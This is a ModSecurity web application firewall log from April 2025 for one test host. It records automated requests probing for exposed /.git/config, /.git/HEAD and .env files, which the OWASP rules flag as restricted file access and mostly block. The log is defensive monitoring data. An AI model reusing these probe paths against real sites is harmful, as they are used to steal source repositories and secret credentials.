[Wed Apr 16 23:32:25.732615 2025] [:error] [pid 2523126] [client 45.130.203.168:50095] [client 45.130.203.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aAAh6Qze2pMalYqt8mEwAwAAAAU"]
[Thu Apr 17 00:20:38.559907 2025] [:error] [pid 2528966] [client 45.148.10.80:34256] [client 45.148.10.80] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAAtNsy_RB9yfyCKjj65CwAAAAU"]
[Thu Apr 17 00:20:38.560169 2025] [:error] [pid 2528966] [client 45.148.10.80:34256] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAAtNsy_RB9yfyCKjj65CwAAAAU"]
[Thu Apr 17 00:20:38.560324 2025] [:error] [pid 2528966] [client 45.148.10.80:34256] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAAtNsy_RB9yfyCKjj65CwAAAAU"]
[Sat Apr 19 15:35:50.918569 2025] [:error] [pid 2582219] [client 45.130.203.182:44281] [client 45.130.203.182] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aAOmtqt1e9sHF1yYGnE_DQAAAA0"]
[Sat Apr 19 15:35:50.920049 2025] [:error] [pid 2582219] [client 45.130.203.182:44281] [client 45.130.203.182] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aAOmtqt1e9sHF1yYGnE_DQAAAA0"]
[Sat Apr 19 15:35:50.920210 2025] [:error] [pid 2582219] [client 45.130.203.182:44281] [client 45.130.203.182] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aAOmtqt1e9sHF1yYGnE_DQAAAA0"]
[Sat Apr 19 15:35:51.026599 2025] [:error] [pid 2575989] [client 45.130.203.227:44945] [client 45.130.203.227] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aAOmt5DpqXnuP4q6eO4iMwAAAAE"]
[Sat Apr 19 15:35:51.026829 2025] [:error] [pid 2575989] [client 45.130.203.227:44945] [client 45.130.203.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aAOmt5DpqXnuP4q6eO4iMwAAAAE"]
[Sat Apr 19 15:35:51.027001 2025] [:error] [pid 2575989] [client 45.130.203.227:44945] [client 45.130.203.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aAOmt5DpqXnuP4q6eO4iMwAAAAE"]
[Mon Apr 21 22:20:39.303534 2025] [:error] [pid 2625583] [client 89.248.165.249:57738] [client 89.248.165.249] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAaol54AIjrcMSHOyNjMrwAAAAk"]
[Mon Apr 21 22:20:39.305077 2025] [:error] [pid 2625583] [client 89.248.165.249:57738] [client 89.248.165.249] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAaol54AIjrcMSHOyNjMrwAAAAk"]
[Mon Apr 21 22:20:39.305256 2025] [:error] [pid 2625583] [client 89.248.165.249:57738] [client 89.248.165.249] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAaol54AIjrcMSHOyNjMrwAAAAk"]
[Tue Apr 22 18:56:51.333317 2025] [:error] [pid 2640381] [client 93.123.109.108:54979] [client 93.123.109.108] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAfKU5L9F9NcPjfwEuGfwwAAAAk"]
[Tue Apr 22 18:56:51.333600 2025] [:error] [pid 2640381] [client 93.123.109.108:54979] [client 93.123.109.108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAfKU5L9F9NcPjfwEuGfwwAAAAk"]
[Tue Apr 22 18:56:51.333776 2025] [:error] [pid 2640381] [client 93.123.109.108:54979] [client 93.123.109.108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAfKU5L9F9NcPjfwEuGfwwAAAAk"]
[Thu Apr 24 10:59:36.939105 2025] [:error] [pid 2695522] [client 93.123.109.108:49872] [client 93.123.109.108] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAn9eCuLoA8MJ58O1XJ2HAAAAAY"]
[Thu Apr 24 10:59:36.940095 2025] [:error] [pid 2695522] [client 93.123.109.108:49872] [client 93.123.109.108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAn9eCuLoA8MJ58O1XJ2HAAAAAY"]
[Thu Apr 24 10:59:36.940284 2025] [:error] [pid 2695522] [client 93.123.109.108:49872] [client 93.123.109.108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAn9eCuLoA8MJ58O1XJ2HAAAAAY"]
[Thu Apr 24 11:39:32.689794 2025] [:error] [pid 2695521] [client 93.123.109.107:53330] [client 93.123.109.107] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAoG1IvmVqtN4YucG4WkdQAAAAU"]
[Thu Apr 24 11:39:32.690090 2025] [:error] [pid 2695521] [client 93.123.109.107:53330] [client 93.123.109.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAoG1IvmVqtN4YucG4WkdQAAAAU"]
[Thu Apr 24 11:39:32.690328 2025] [:error] [pid 2695521] [client 93.123.109.107:53330] [client 93.123.109.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAoG1IvmVqtN4YucG4WkdQAAAAU"]
[Fri Apr 25 09:54:59.848804 2025] [:error] [pid 2716918] [client 93.123.109.107:60291] [client 93.123.109.107] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAs_05nlmkvLdHtilSvknAAAAAQ"]
[Fri Apr 25 09:54:59.849050 2025] [:error] [pid 2716918] [client 93.123.109.107:60291] [client 93.123.109.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAs_05nlmkvLdHtilSvknAAAAAQ"]
[Fri Apr 25 09:54:59.849250 2025] [:error] [pid 2716918] [client 93.123.109.107:60291] [client 93.123.109.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAs_05nlmkvLdHtilSvknAAAAAQ"]
[Fri Apr 25 14:57:12.791768 2025] [:error] [pid 2716915] [client 93.123.109.105:36088] [client 93.123.109.105] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAuGqFjdsJyq_v8skpjw4QAAAAE"]
[Fri Apr 25 14:57:12.793578 2025] [:error] [pid 2716915] [client 93.123.109.105:36088] [client 93.123.109.105] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAuGqFjdsJyq_v8skpjw4QAAAAE"]
[Fri Apr 25 14:57:12.793758 2025] [:error] [pid 2716915] [client 93.123.109.105:36088] [client 93.123.109.105] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aAuGqFjdsJyq_v8skpjw4QAAAAE"]
[Sun Apr 27 01:31:48.906335 2025] [:error] [pid 2758522] [client 54.224.75.174:41182] [client 54.224.75.174] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aA1s5HOaH1upJgOhY0zykAAAAAY"]
[Sun Apr 27 01:31:48.906635 2025] [:error] [pid 2758522] [client 54.224.75.174:41182] [client 54.224.75.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aA1s5HOaH1upJgOhY0zykAAAAAY"]
[Sun Apr 27 01:31:48.906840 2025] [:error] [pid 2758522] [client 54.224.75.174:41182] [client 54.224.75.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aA1s5HOaH1upJgOhY0zykAAAAAY"]
[Sun Apr 27 15:38:11.556702 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNkAAAAAA"]
[Sun Apr 27 15:38:11.558173 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNkAAAAAA"]
[Sun Apr 27 15:38:11.558384 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNkAAAAAA"]
[Sun Apr 27 15:38:11.578895 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNkQAAAAA"]
[Sun Apr 27 15:38:11.579120 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNkQAAAAA"]
[Sun Apr 27 15:38:11.579271 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aA4zQ0SU-wZ08u20bDJNkQAAAAA"]
[Sun Apr 27 15:38:11.600037 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aA4zQ0SU-wZ08u20bDJNkgAAAAA"]
[Sun Apr 27 15:38:11.600260 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aA4zQ0SU-wZ08u20bDJNkgAAAAA"]
[Sun Apr 27 15:38:11.600423 2025] [:error] [pid 2760969] [client 154.83.103.210:22426] [client 154.83.103.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aA4zQ0SU-wZ08u20bDJNkgAAAAA"]
